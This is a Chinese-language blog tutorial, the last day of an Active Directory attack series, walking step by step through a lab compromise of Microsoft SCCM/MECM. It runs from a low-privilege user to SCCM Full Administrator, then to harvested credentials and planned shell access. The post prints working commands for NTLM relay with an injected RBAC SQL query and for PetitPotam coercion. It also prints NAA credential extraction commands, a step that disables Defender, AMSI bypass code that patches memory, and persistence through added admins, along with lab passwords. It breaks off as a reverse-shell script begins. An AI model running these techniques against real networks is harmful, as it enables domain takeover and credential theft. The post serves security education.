iT邦幫忙

2025 iThome 鐵人賽

DAY 30
0
Security

資安這條路:AD 攻防實戰演練系列 第 30

AD 攻防實戰演練 Day 30:Microsoft SCCM/MECM 滲透實戰:從低權限到域管理員的完整攻擊鏈

  • 分享至 

  • xImage
  •  

image

前言

在前兩天的文章中,我們完成了 SCCM 環境的情資蒐集和 PXE Boot 攻擊。今天,我們將完整展示從低權限域用戶一路提升到域管理員的攻擊鏈。這個攻擊鏈展示了 SCCM 環境中多個安全機制的串連利用,包括:

  • NTLM 中繼攻擊:利用 SCCM 架構特性提升權限
  • 憑證收集技術:從本地管理員權限提取敏感資訊
  • SCCM 管理功能濫用:使用合法管理工具進行惡意操作
  • 資料庫憑證解密:獲取儲存在 SCCM 資料庫中的高權限帳戶

這個攻擊鏈不僅展示了 SCCM 環境的攻擊面,也說明了為什麼 SCCM 是企業環境中的「皇冠上的寶石」——一旦被攻陷,攻擊者可以快速橫向移動並最終控制整個網域。

重要提醒:本文內容僅供教育和研究目的,所有操作應在合法授權的測試環境中進行。

本次目標

攻擊鏈路線圖

起點:低權限域用戶 (carol)
    ↓
第一階段:NTLM Relay 到 MSSQL
    → 利用 MECM$ 機器帳戶的資料庫管理員權限
    → 修改 RBAC 資料表
    → 提升為 SCCM Full Administrator
    ↓
第二階段:本地管理員憑證收集
    → 使用 Day29 取得的本地管理員密碼
    → 從客戶端機器提取 NAA 憑證
    → 驗證並確認多種憑證收集方法
    ↓
第三階段:SCCM 管理權限濫用
    → 使用 CMPivot 列舉環境
    → 部署惡意腳本到目標機器
    → 取得 MECM 伺服器的 Shell
    ↓
第四階段:資料庫憑證解密
    → 從 MSSQL 提取加密憑證
    → 解密資料庫中的服務帳戶密碼
    → 發現域管理員帳戶 (sccm-account-da)
    ↓
終點:完全控制域環境

環境準備

前置條件檢查

在開始攻擊前,確認我們已經從前面的步驟中取得以下資訊:

從 Day29 PXE 攻擊取得的憑證

網路存取帳戶 (NAA):
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789

本地管理員密碼:
- 使用者:administrator
- 密碼:EP+xh7Rk6j90

網域加入帳戶:
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789

已知的低權限域用戶

使用者:sccm.lab\carol
密碼:SCCMftw
權限:標準域用戶,無特殊權限

工具準備

確認以下工具已安裝:

Python 工具

# CrackMapExec/NetExec
pip install netexec

編譯工具(Windows)

# SharpSCCM - 在 Windows 上編譯
git clone https://github.com/Mayyhem/SharpSCCM.git
# 使用 Visual Studio 編譯或下載 Release 版本

Coercion 工具

# PetitPotam
git clone https://github.com/topotam/PetitPotam.git

網路連通性驗證

# 驗證可以連接到所有目標
ping -c 1 192.168.52.10  # DC
ping -c 1 192.168.52.11  # MECM
ping -c 1 192.168.52.12  # MSSQL
ping -c 1 192.168.52.13  # CLIENT

# 驗證 carol 憑證有效
nxc smb 192.168.52.11 -u carol -p SCCMftw -d sccm.lab

image

image

第一階段:NTLM Relay 提升為 SCCM 管理員

1.1 攻擊原理說明

為什麼這個攻擊有效

在標準的 SCCM 部署中,存在一個關鍵的架構設計:

MECM 主要伺服器的機器帳戶 (MECM$)
    ↓
必須是 MSSQL Server 的 sysadmin
    ↓
才能管理 SCCM 站點資料庫

這個設計帶來的安全問題:

  1. 高權限機器帳戶:MECM$ 對資料庫有完全控制權
  2. 可觸發認證:透過 PrinterBug/PetitPotam 強制 MECM 認證
  3. 缺乏 SMB 簽章:Day28 偵察發現 SMB 簽章未啟用
  4. 資料庫直接控制:可以修改 RBAC 資料表新增管理員

攻擊流程圖

攻擊者 (192.168.52.1)
    │
    ├─► 步驟 1:設定 NTLM Relay
    │   └─► ntlmrelayx 監聽並準備 SQL 查詢
    │
    ├─► 步驟 2:觸發 MECM 認證
    │   └─► PetitPotam 強制 MECM 連線到攻擊者
    │
    ├─► 步驟 3:中繼認證
    │   └─► MECM$ 認證 → 中繼到 MSSQL
    │
    └─► 步驟 4:修改資料庫
        └─► 執行 SQL 將 carol 加入 RBAC_Admins

1.2 使用 SCCMHunter 自動化攻擊

步驟 1:生成 SQL 查詢

SCCMHunter 提供了自動化功能來生成所需的 SQL 查詢:

# 使用 carol 的憑證生成攻擊查詢
python3 sccmhunter.py mssql \
    -u carol \
    -p SCCMftw \
    -d sccm.lab \
    -dc-ip 192.168.52.10 \
    -tu carol \
    -sc P01 \
    -stacked \
    -debug

參數說明

  • mssql:選擇 MSSQL 攻擊模組
  • -u carol -p SCCMftw:低權限域用戶憑證
  • -d sccm.lab -dc-ip 192.168.52.10:域資訊
  • -tu carol:目標用戶(要提升權限的用戶)
  • -sc P01:站點代碼(Day28 偵察取得)
  • -stacked:使用堆疊查詢
  • -debug:顯示詳細輸出

預期輸出

DECLARE @AdminID INT; USE CM_P01; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000, 'SCCMLAB\carol', 0, 0, '', '', '', '', 'P01' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = @AdminID  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );

image

複製這個完整的 SQL 查詢,我們將在下一步使用。

步驟 2:設定 NTLM Relay

開啟第一個終端,設定 ntlmrelayx:

# 將剛才生成的完整 SQL 查詢貼上
ntlmrelayx.py \
    -smb2support \
    -ts \
    -t mssql://192.168.52.12 \
    -q "DECLARE @AdminID INT; USE CM_P01; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000, 'SCCMLAB\carol', 0, 0, '', '', '', '', 'P01' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = @AdminID  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );"

參數說明

  • -smb2support:支援 SMBv2/v3
  • -ts:顯示時間戳記
  • -t mssql://192.168.52.12:目標 MSSQL 伺服器
  • -q "...":成功中繼後要執行的 SQL 查詢

預期輸出

[*] Servers started, waiting for connections
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up LDAP Server

image

步驟 3:觸發 MECM 認證

開啟第二個終端,使用 PetitPotam 強制 MECM 認證:

# 使用 carol 的憑證觸發 MECM 認證
python3 PetitPotam.py \
    -d sccm.lab \
    -u carol \
    -p SCCMftw \
    192.168.52.150 \
    192.168.52.11

參數說明

  • -d sccm.lab:域名稱
  • -u carol -p SCCMftw:有效域憑證
  • 192.168.52.150:攻擊者 IP(監聽器位置)
  • 192.168.52.11:MECM 伺服器 IP(目標)

PetitPotam 輸出

[*] Connecting to 192.168.52.11
[*] Coercing authentication from 192.168.52.11
[*] Successfully triggered authentication

image

ntlmrelayx 輸出(成功)

[*] SMBD-Thread-1: Connection from SCCM/MECM$@192.168.52.11 controlled, attacking target mssql://192.168.52.12
[*] Authenticating against mssql://192.168.52.12 as SCCM/MECM$ SUCCEED
[*] MSSQL: Executing query: USE CM_P01; INSERT INTO RBAC_Admins...
[*] MSSQL: Query executed successfully
[+] carol added as SCCM Full Administrator!

image

1.3 驗證權限提升

使用 SCCMHunter 驗證 carol 現在是 SCCM 管理員:

# 連接到 SCCM 管理介面
python3 sccmhunter.py admin \
    -u carol@sccm.lab \
    -p 'SCCMftw' \
    -ip 192.168.52.11

image

在 SCCMHunter 互動式 Shell 中:

() C:\ >> show_admins

預期輸出

[09:11:19] INFO     Tasked SCCM to list current SMS Admins.
[09:11:20] INFO     Current Full Admin Users:
[09:11:20] INFO     SCCMLAB\Administrator
[09:11:20] INFO     SCCMLAB\carol
[09:11:20] INFO     SCCMLAB\SCCM-Admins

成功! carol 現在是 SCCM Full Administrator。

1.4 手動執行攻擊(進階)

如果想要深入理解攻擊過程,可以手動執行每個步驟:

步驟 1:取得 carol 的 SID

cat > ldap_query.sh << 'EOF'
#!/bin/bash
import base64
import struct
import sys

def decode_sid(base64_sid):
    sid_binary = base64.b64decode(base64_sid)
    revision = sid_binary[0]
    sub_auth_count = sid_binary[1]
    authority = struct.unpack('>Q', b'\x00\x00' + sid_binary[2:8])[0]
    sid = f"S-{revision}-{authority}"
    for i in range(sub_auth_count):
        offset = 8 + (i * 4)
        sub_auth = struct.unpack('<I', sid_binary[offset:offset+4])[0]
        sid += f"-{sub_auth}"
    return sid

# 從 stdin 讀取 base64
sid_b64 = sys.stdin.read().strip()
print(decode_sid(sid_b64))
EOF

# 使用方式
ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "DC=SCCM,DC=lab" \
    "(name=carol)" objectSid \
    -LLL | grep "objectSid::" | awk '{print $2}' | python3 ldap_query.sh

輸出

S-1-5-21-2679896087-1315889500-228578964-1114

image

步驟 2:轉換 SID 為十六進位

SID 格式:S-1-5-21-2679896087-1315889500-228578964-1114

建立 Python 腳本 convert_sid.py

#!/usr/bin/python3
import sys
from struct import pack

if len(sys.argv) <= 1:
    print('Usage: python3 ' + sys.argv[0] + ' sid\n')
    exit(0)

sid = sys.argv[1]
print(f'[+] SID: {sid}')
items = sid.split('-')

revision = pack('B', int(items[1]))
dashNumber = pack('B', len(items) - 3)
identifierAuthority = b'\x00\x00' + pack('>L', int(items[2]))

subAuthority = b''
for i in range(len(items) - 3):
    subAuthority += pack('<L', int(items[i+3]))

hex_sid = revision + dashNumber + identifierAuthority + subAuthority
result = '0x' + ''.join('{:02X}'.format(b) for b in hex_sid)
print(f'[+] Result: {result}')

執行轉換:

python3 convert_sid.py S-1-5-21-2679896087-1315889500-228578964-1114

image

輸出

[+] SID: S-1-5-21-2679896087-1315889500-228578964-1114
[+] Result: 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000

步驟 3:使用 SOCKS 代理執行

設定 ntlmrelayx 使用 SOCKS 模式:

ntlmrelayx.py \
    -smb2support \
    -ts \
    -t mssql://192.168.52.12 \
    -socks

image

觸發認證:

python3 PetitPotam.py \
    -d sccm.lab \
    -u carol \
    -p SCCMftw \
    192.168.52.150 \
    192.168.52.11

image

執行完之後,回去看 ntlmrelayx
image

[2025-10-14 09:27:45] [*] (SMB): Received connection from 192.168.52.11, attacking target mssql://192.168.52.12
[2025-10-14 09:27:45] [*] Encryption required, switching to TLS
[2025-10-14 09:27:45] [*] (SMB): Authenticating connection from SCCMLAB/MECM$@192.168.52.11 against mssql://192.168.52.12 SUCCEED [1]
[2025-10-14 09:27:45] [*] SOCKS: Adding MSSQL://SCCMLAB/MECM$@192.168.52.12(1433) [1] to active SOCKS connection. Enjoy
[2025-10-14 09:27:45] [*] All targets processed!
[2025-10-14 09:27:45] [*] (SMB): Connection from 192.168.52.11 controlled, but there are no more targets left!

透過 SOCKS 代理連接資料庫:
預設 SOCKS proxy 端口是 1080
因此要設定

sudo vim /etc/proxychains4.conf
sock4 127.0.0.1 1080

確認是否有成功設定:

tail -20 /etc/proxychains4.conf

image

proxychains -q mssqlclient.py \
    -windows-auth \
    -no-pass \
    'SCCMLAB/MECM$'@192.168.52.12

image

手動執行 SQL 查詢:

-- 切換到 SCCM 資料庫
USE CM_P01;
select * from RBAC_Admins;

image

如果你要手動新增,你可以執行以下指令:


-- 新增 carol 為管理員
INSERT INTO RBAC_Admins 
    (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) 
VALUES 
    (0x01050000000000051500000017f8bb9f5ce16e4e94d69f0d5a040000, 'SCCM\carol', 0, 0, '', '', '', '', 'P01');


-- 查詢 carol 的 AdminID
SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol';
-- 假設回傳的 AdminID 是 16777219

image

select * from RBAC_ExtendedPermissions;

可以看到剛剛自動化已經新增了
image

-- 授予完全權限
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) 
VALUES 
    (16777219, 'SMS0001R', 'SMS00ALL', '29'),
    (16777219, 'SMS0001R', 'SMS00001', '1'),
    (16777219, 'SMS0001R', 'SMS00004', '1');

-- 驗證
SELECT * FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol';

image

1.5 第一階段攻擊總結

已完成

  • 使用低權限域用戶 (carol) 啟動攻擊
  • 利用 NTLM Relay 中繼 MECM$ 認證到 MSSQL
  • 修改 SCCM 資料庫 RBAC 資料表
  • 將 carol 提升為 SCCM Full Administrator

取得的權限

  • SCCM Full Administrator
  • 可以管理所有 SCCM 資源
  • 可以部署應用程式和腳本到所有客戶端
  • 可以查詢資料庫中的敏感資訊

下一步
利用 SCCM 管理權限進行更深入的攻擊

第二階段:本地管理員憑證收集

2.1 憑證收集攻擊原理

在 SCCM 環境中,客戶端機器會將敏感憑證快取在本地,包括:

快取的憑證類型

  1. Network Access Account (NAA)
    • 用於存取發布點的憑證
    • 儲存在 WMI 或磁碟中
    • 使用 DPAPI 加密
  2. Task Sequence 變數
    • 工作序列執行時的環境變數
    • 可能包含密碼和敏感資訊
    • 儲存在登錄檔或磁碟
  3. Collection 變數
    • 集合層級的變數設定
    • 可能包含部署腳本使用的憑證
    • 儲存在 WMI CIM 儲存庫

儲存位置

客戶端機器的憑證儲存位置:

1. WMI 命名空間
   └─ ROOT\CCM\Policy\Machine\ActualConfig
      ├─ CCM_NetworkAccessAccount
      ├─ CCM_TSEnvironment
      └─ CCM_CollectionVariable

2. 磁碟檔案系統
   └─ C:\Windows\System32\wbem\Repository\
      └─ OBJECTS.DATA(WMI CIM 儲存庫)

3. 登錄檔
   └─ HKLM\SOFTWARE\Microsoft\SMS\Mobile Client\
      └─ Software Distribution

DPAPI 加密說明

所有這些憑證都使用 Windows DPAPI (Data Protection API) 加密:

  • 加密上下文:SYSTEM 帳戶或機器金鑰
  • 解密需求:本地管理員權限或 SYSTEM 權限
  • 主金鑰位置C:\Windows\System32\Microsoft\Protect\S-1-5-18\

2.2 驗證本地管理員存取

首先使用 Day29 取得的本地管理員密碼測試存取:

# 測試本地管理員憑證
nxc smb 192.168.52.13 \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    --local-auth

image

預期輸出

SMB         192.168.52.13   445    CLIENT           [+] CLIENT\administrator:EP+xh7Rk6j90 (Pwn3d!)

「Pwn3d!」標記表示該帳戶具有管理員權限,可以進行後續操作。

2.3 使用 dploot 收集憑證(Linux)

工具說明

dploot 是一個專門用於提取 DPAPI 保護資料的工具,支援多種資料來源,包括:

  • SCCM 憑證(WMI 和磁碟)
  • Wi-Fi 密碼
  • Chrome/Edge 儲存的密碼
  • Windows Vault 憑證
  • RDP 憑證

執行憑證收集

# 使用 dploot 的 SCCM 模組
dploot sccm \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    -t 192.168.52.13

參數說明

  • sccm:使用 SCCM 憑證提取模組
  • -u administrator:本地管理員帳戶
  • -p 'EP+xh7Rk6j90':密碼
  • -t 192.168.52.13:目標客戶端 IP

預期輸出

[*] Connected to 192.168.52.13
[*] Collecting SCCM secrets from WMI
[+] Found Network Access Account:
    Username: SCCM\sccm-naa
    Password: 123456789

[*] Collecting SCCM secrets from disk
[+] Found credentials in WMI CIM Repository:
    Username: SCCM\sccm-naa
    Password: 123456789

[*] Collecting Task Sequence variables
[+] No Task Sequence currently active

image

進階:使用 WMI 方法

dploot 也支援讀取 WMI CIM 儲存庫檔案(Duane Michael 的技術):

# 使用 WMI CIM 方法
dploot sccm \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    -t 192.168.52.13 \
    -wmi

image

這個方法會:

  1. 下載 OBJECTS.DATA 檔案
  2. 離線解析 WMI CIM 儲存庫
  3. 提取所有 SCCM 相關的憑證

2.4 使用 SCCMHunter 收集憑證(Linux)

SCCMHunter 也提供 DPAPI 憑證提取功能:

# 使用 SCCMHunter 的 dpapi 模組
python3 sccmhunter.py dpapi \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    -target 192.168.52.13 \
    -wmi \
    -debug

預期輸出

[10:23:16] DEBUG    [*] Establishing SMB connection to 192.168.52.13
[10:23:16] DEBUG    [*] Performing NTLM login
[10:23:16] DEBUG    [*] Establishing DCOM connection to 192.168.52.13

[10:23:16] INFO     [*] Starting SCCM secrets extraction via WMI

[10:23:16] DEBUG    [*] Connecting to WMI namespace: root\ccm\Policy\Machine\ActualConfig
[10:23:16] INFO     [+] Found NAA credentials
[10:23:16] DEBUG    [*] Retrieving masterkey file: 52310566-8B7D-4FC4-937D-57B608EE1396
[10:23:16] DEBUG    [*] Attempting to extract bootkey from the target machine
[10:23:16] DEBUG    [*] Attempting to dump LSA secrets from the target machine
[10:23:17] DEBUG    [*] Decrypted masterkey 52310566-8B7D-4FC4-937D-57B608EE1396:
                    0x6ba2408ec90096012570193d7b4f8f432ca835732377b24178583ef92c2c70c8b4107c5413f046a2c158c08d8ddee
                    b0965cb8a183a9b0dee11773512f74d8eb4
[10:23:17] INFO             - NetworkAccessUsername: sccm.lab\sccm-naa
[10:23:17] INFO             - NetworkAccessPassword: 123456789
[10:23:17] DEBUG    [*] Got SCCM secrets from WMI namespace 'root\ccm\Policy\Machine\ActualConfig'

[10:23:17] INFO     [*] WMI SCCM secrets dump complete
[10:23:17] DEBUG    [*] Closing DCOM connection to 192.168.52.13
[10:23:17] DEBUG    [*] Closing SMB connection to 192.168.52.13

image

2.5 使用 SharpSCCM 收集憑證(Windows)

在 Windows 環境中的操作流程

https://github.com/Mayyhem/SharpSCCM/wiki/Build-Instructions

需要進行編譯

image

步驟 1:連接到客戶端

使用 RDP 連接到 CLIENT:

# 建立共享資料夾(用於傳輸工具)
sudo mkdir /workspace
sudo mkdir /workspace/share

# RDP 連接並掛載共享
xfreerdp3 \
    /u:"administrator" \
    /p:"EP+xh7Rk6j90" \
    /v:"192.168.52.13" \
    /cert:ignore \
    /drive:share,/workspace/share

步驟 2:停用防護機制

在 RDP 會話中開啟 PowerShell(以管理員身份):

# 停用 Windows Defender 即時保護
Set-MpPreference -DisableRealtimeMonitoring $true

# 確認已停用
Get-MpPreference | Select-Object DisableRealtimeMonitoring

步驟 3:AMSI 繞過

執行多層 AMSI 繞過以避免偵測:

PowerShell AMSI 繞過

# 第一層:PowerShell AMSI 繞過
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

C# AMSI 繞過(rasta-mouse)

# 第二層:C# AMSI 繞過
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

步驟 4:執行 SharpSCCM

從掛載的共享複製 SharpSCCM:

# 複製工具到本地
Copy-Item \\tsclient\share\SharpSCCM_merged.exe C:\Windows\Temp\

# 切換到工作目錄
cd C:\Windows\Temp\

使用 WMI 方法收集憑證

.\SharpSCCM_merged.exe local secrets -m wmi

預期輸出

[*] Retrieving secrets from WMI
[*] Querying namespace: ROOT\CCM\Policy\Machine\ActualConfig

[+] Network Access Account:
    Username: SCCM\sccm-naa
    Password: 123456789
    Domain: sccm.lab

[+] Collection Variables: (0)
[+] Task Sequence Variables: (0)

使用磁碟方法收集憑證

.\SharpSCCM_merged.exe local secrets -m disk

預期輸出

[*] Retrieving secrets from disk
[*] Parsing WMI CIM Repository: C:\Windows\System32\wbem\Repository\OBJECTS.DATA

[+] Found NAA credentials:
    Username: SCCM\sccm-naa
    Password: 123456789

[*] Checking for Task Sequence variables
[*] No active Task Sequence found

2.6 比較不同收集方法

方法 工具 平台 優點 缺點
WMI 查詢 dploot, SCCMHunter, SharpSCCM 遠端 快速、無檔案落地 需要遠端 WMI 存取
磁碟讀取 dploot, SharpSCCM 本地/遠端 可取得歷史資料 需要檔案系統存取
記憶體傾印 Mimikatz, SharpDPAPI 本地 可取得即時變數 需要 SYSTEM 權限

建議順序

  1. 先嘗試 WMI 方法(最快速)
  2. 如果失敗,使用磁碟方法
  3. 最後考慮記憶體傾印(最隱密但需要更高權限)

2.7 第二階段攻擊總結

已完成

  • 驗證本地管理員憑證有效性
  • 使用多種工具收集 SCCM 憑證
  • 從 WMI 和磁碟提取 NAA 帳戶
  • 確認 Task Sequence 和 Collection 變數狀態

取得的憑證

Network Access Account (NAA):
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789
- 權限:可存取所有 SCCM 發布點

重要發現

  • NAA 憑證在多台客戶端機器上相同
  • 沒有發現活動的 Task Sequence 變數
  • 沒有發現 Collection 變數
  • 憑證未定期輪換(Day29 PXE 攻擊取得的相同)

下一步
利用 SCCM 管理權限進行環境列舉和腳本部署

第三階段:SCCM 管理權限濫用

3.1 SCCM 管理功能概述

作為 SCCM Full Administrator,我們現在可以使用以下強大功能:

管理功能清單

SCCM Administrator 權限

├─ 設備管理
│  ├─ 列舉所有註冊設備
│  ├─ 查看設備詳細資訊
│  └─ 管理設備設定
│
├─ 使用者管理
│  ├─ 新增/移除管理員
│  ├─ 修改權限設定
│  └─ 查看使用者資訊
│
├─ 遠端管理
│  ├─ CMPivot 即時查詢
│  ├─ 遠端控制(如果啟用)
│  └─ 設備重啟/關機
│
├─ 軟體部署
│  ├─ 應用程式部署
│  ├─ 腳本部署
│  ├─ 套件部署
│  └─ Task Sequence 部署
│
└─ 資料庫存取
   ├─ 查詢設備資訊
   ├─ 查詢軟體清單
   └─ 提取設定資料

3.2 環境列舉與偵察

步驟 1:連接到 SCCM 管理介面

# 使用 carol 的管理員權限
python3 sccmhunter.py admin \
    -u carol@sccm.lab \
    -p 'SCCMftw' \
    -ip 192.168.52.11

進入 SCCMHunter 互動式 Shell。

步驟 2:列舉所有 SCCM 管理員

() C:\ >> show_admins

預期輸出

image

[10:34:02] INFO     Tasked SCCM to list current SMS Admins.
[10:34:02] INFO     Current Full Admin Users:
[10:34:02] INFO     SCCMLAB\Administrator
[10:34:02] INFO     SCCMLAB\carol
[10:34:02] INFO     SCCMLAB\SCCM-Admins

發現

  • SCCM-Admins 是一個 SCCM Full Admin 群組
  • 需要找出這個群組的成員帳號
  • 真正的目標是找到域管理員帳號或利用 SCCM 權限提權到域管理員
ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "CN=Domain Admins,CN=Users,DC=sccm,DC=lab" \
	member

image

關鍵發現

  • sccm-account-da 是域管理員群組的成員
  • 這個帳號很可能是 SCCM 服務使用的高權限帳號
  • alice 和 Administrator 也是域管理員
  • 這些將是我們第四階段的攻擊目標

步驟 3:列舉註冊的設備

() C:\ >> get_device DC

image

() C:\ >> get_device MECM

image

() C:\ >> get_device MSSQL

image

步驟 4:取得特定設備的詳細資訊

# 查看 CLIENT 的詳細資訊
() C:\ >> get_device CLIENT

image

預期輸出

() (C:\) >> get_device CLIENT
[10:37:36] INFO     ------------------------------------------
                    Active: 1
                    Client: 1
                    DistinguishedName: CN=CLIENT,CN=Computers,DC=sccm,DC=lab
                    FullDomainName: SCCM.LAB
                    IPAddresses: 192.168.52.13 192.168.58.142 fe80::6992:ceb9:43...
                    LastLogonUserDomain: None
                    LastLogonUserName: None
                    Name: CLIENT
                    OperatingSystemNameandVersion: Microsoft Windows NT Advanced Server 10.0
                    PrimaryGroupID: 515
                    ResourceId: 16777221
                    ResourceNames: CLIENT.sccm.lab
                    SID: S-1-5-21-2679896087-1315889500-228578964-1106
                    SMSInstalledSites: P01
                    SMSUniqueIdentifier: GUID:DB2D0106-4A4F-4E55-8B4D-CF6E65869356
                    ------------------------------------------

記錄 ResourceId: 16777221,後續操作會用到。

3.3 使用 CMPivot 進行即時查詢

CMPivot 介紹

CMPivot 是 SCCM 的即時查詢功能,可以在不部署代理程式或腳本的情況下,即時從客戶端收集資訊。

支援的內建查詢

查詢類型 說明 SCCMHunter 指令
administrators 列出本地管理員 administrators
ipconfig 網路設定 ipconfig
osinfo 作業系統資訊 osinfo
ps 執行中的處理程序 ps
services 服務列表 services
sessions 登入會話 sessions
shares SMB 共享 shares
software 已安裝軟體 software
environment 環境變數 environment
disk 磁碟資訊 disk
console_users 主控台使用者 console_users

步驟 1:選擇目標設備

# 互動模式選擇 CLIENT
() C:\ >> interact 16777221

提示符會變更為:

(16777221) C:\ >>

步驟 2:查詢本地管理員

(16777221) C:\ >> administrators

輸出
image

關鍵發現

  • eve 是域用戶但有本地管理員權限

步驟 3:查詢執行中的處理程序

(16777221) C:\ >> ps

預期輸出

image

(16777221) (C:\) >> ps
[10:44:34] INFO     Tasked SCCM to list processes.
[10:44:34] INFO     Got OperationId 16777287. Sleeping 10 seconds to wait for host to call home.
[10:44:44] INFO     +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | Name                      |   ProcessId | CreationDate        |   WorkingSetSize |
                    HandleCount | Device   |
                    +===========================+=============+=====================+==================+===========
                    ====+==========+
                    | System Idle Process       |           0 | 2025-10-12 05:23:58 |             8192 |
                    0 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | System                    |           4 | 2025-10-12 05:23:58 |            49152 |
                    1725 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | Registry                  |          88 | 2025-10-12 05:23:55 |         78405632 |
                    0 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | smss.exe                  |         280 | 2025-10-12 05:23:58 |           835584 |
                    53 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------

步驟 4:查詢網路連線

(16777221) C:\ >> ipconfig

image

步驟 5:查詢已安裝軟體

(16777221) C:\ >> software

image

輸出會列出所有已安裝的軟體及版本。

步驟 6:查詢 SMB 共享

(16777221) C:\ >> shares

image

3.4 新增其他管理員帳戶

為了保持持久性和靈活性,我們可以新增額外的管理員帳戶。

步驟 1:取得目標用戶的 SID

cat > ~/tools/convert_sid.py << 'EOF'
#!/usr/bin/env python3
import base64
import struct
import sys

def decode_sid(base64_sid):
    sid_binary = base64.b64decode(base64_sid)
    revision = sid_binary[0]
    sub_auth_count = sid_binary[1]
    authority = struct.unpack('>Q', b'\x00\x00' + sid_binary[2:8])[0]
    
    sid = f"S-{revision}-{authority}"
    for i in range(sub_auth_count):
        offset = 8 + (i * 4)
        sub_auth = struct.unpack('<I', sid_binary[offset:offset+4])[0]
        sid += f"-{sub_auth}"
    return sid

if __name__ == '__main__':
    if len(sys.argv) > 1:
        # 從命令行參數讀取
        print(decode_sid(sys.argv[1]))
    else:
        # 從 stdin 讀取
        sid_b64 = sys.stdin.read().strip()
        if sid_b64:
            print(decode_sid(sid_b64))
        else:
            print("Usage: python3 convert_sid.py <base64_sid>")
            print("   or: echo <base64_sid> | python3 convert_sid.py")
            sys.exit(1)
EOF

chmod +x ~/tools/convert_sid.py
# 查詢 franck 的 SID
ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "DC=sccm,DC=lab" \
    "(name=franck)" objectSid \
    -LLL | grep "objectSid::" | awk '{print $2}' | python3 ~/tools/convert_sid.py

image

輸出

S-1-5-21-2679896087-1315889500-228578964-1117

步驟 2:新增 franck 為管理員

# 在 SCCMHunter Shell 中
() C:\ >> add_admin franck S-1-5-21-2679896087-1315889500-228578964-1117

image

預期輸出

[*] Tasked SCCM to add franck as an administrative user
[+] Successfully added franck as an admin

步驟 3:驗證

() C:\ >> show_admins

image

確認 franck 出現在管理員列表中。

3.5 腳本部署攻擊

攻擊目標:部署反向 Shell 到 CLIENT 和 MECM

準備工作

步驟 1:建立 PowerShell 反向 Shell 腳本

建立 revshell.ps1

